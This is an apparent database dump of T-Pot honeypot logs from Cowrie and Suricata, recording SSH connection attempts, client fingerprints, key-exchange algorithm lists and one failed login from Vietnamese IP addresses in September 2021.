"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35938, "dest_port": 22, "timestamp": "2021-09-20T11:08:50.492332", "@timestamp": "2021-09-20T11:08:50.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24558	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:50.40075+03	2021-09-20 14:15:08.954503+03	{"_id": "-QbkAnwBvYTbRNuE8xO6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35684 (192.168.176.2:22) [session: e1a1f37f01e3]", "session": "e1a1f37f01e3", "@version": "1", "protocol": "ssh", "src_port": 35684, "dest_port": 22, "timestamp": "2021-09-20T11:08:50.400750Z", "@timestamp": "2021-09-20T11:08:50.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24559	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:50.987338+03	2021-09-20 14:15:08.95648+03	{"_id": "-gbkAnwBvYTbRNuE8xO6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:59830 (192.168.176.2:22) [session: 4af32f5b4384]", "session": "4af32f5b4384", "@version": "1", "protocol": "ssh", "src_port": 59830, "dest_port": 22, "timestamp": "2021-09-20T11:08:50.987338Z", "@timestamp": "2021-09-20T11:08:50.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24560	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:51.066463+03	2021-09-20 14:15:08.95747+03	{"_id": "-wbkAnwBvYTbRNuE8xO6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:44274 (192.168.176.2:22) [session: 287db2103534]", "session": "287db2103534", "@version": "1", "protocol": "ssh", "src_port": 44274, "dest_port": 22, "timestamp": "2021-09-20T11:08:51.066463Z", "@timestamp": "2021-09-20T11:08:51.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24561	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:50.421098+03	2021-09-20 14:15:08.95847+03	{"_id": "BwbkAnwBvYTbRNuE8xS6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e1a1f37f01e3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:50.421098Z", "@timestamp": "2021-09-20T11:08:50.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24562	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:50.493073+03	2021-09-20 14:15:08.960472+03	{"_id": "CAbkAnwBvYTbRNuE8xS6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4120b0ae7e72", "@version": "1", "timestamp": "2021-09-20T11:08:50.493073Z", "@timestamp": "2021-09-20T11:08:50.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24774	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:08.346048+03	2021-09-20 14:15:09.233471+03	{"_id": "zAblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "210e7223bfdd", "@version": "1", "duration": 2.8444983959198, "timestamp": "2021-09-20T11:09:08.346048Z", "@timestamp": "2021-09-20T11:09:08.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24563	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:50.990373+03	2021-09-20 14:15:08.961502+03	{"_id": "CQbkAnwBvYTbRNuE8xS6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4af32f5b4384", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:50.990373Z", "@timestamp": "2021-09-20T11:08:50.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24564	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:51.129289+03	2021-09-20 14:15:08.962471+03	{"_id": "CgbkAnwBvYTbRNuE8xS6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "287db2103534", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:51.129289Z", "@timestamp": "2021-09-20T11:08:51.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24565	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:51.282231+03	2021-09-20 14:15:08.9645+03	{"_id": "CwbkAnwBvYTbRNuE8xS6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [brenda/brenda] failed", "session": "b09f9b09a3bd", "@version": "1", "password": "brenda", "username": "brenda", "timestamp": "2021-09-20T11:08:51.282231Z", "@timestamp": "2021-09-20T11:08:51.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24566	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:51.285409+03	2021-09-20 14:15:08.965502+03	{"_id": "DAbkAnwBvYTbRNuE8xS6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4af32f5b4384", "@version": "1", "timestamp": "2021-09-20T11:08:51.285409Z", "@timestamp": "2021-09-20T11:08:51.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24567	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:51.302979+03	2021-09-20 14:15:08.966472+03	{"_id": "DQbkAnwBvYTbRNuE8xS6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e1a1f37f01e3", "@version": "1", "timestamp": "2021-09-20T11:08:51.302979Z", "@timestamp": "2021-09-20T11:08:51.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24568	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:51.263813+03	2021-09-20 14:15:08.96847+03	{"_id": "DgbkAnwBvYTbRNuE9hQP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1150518319834473, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59830, "dest_port": 22, "timestamp": "2021-09-20T11:08:51.263813Z", "@timestamp": "2021-09-20T11:08:51.263Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24569	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:51.34476+03	2021-09-20 14:15:08.969471+03	{"_id": "DwbkAnwBvYTbRNuE9hQP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 480950098204676, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44274, "dest_port": 22, "timestamp": "2021-09-20T11:08:51.344760Z", "@timestamp": "2021-09-20T11:08:51.344Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
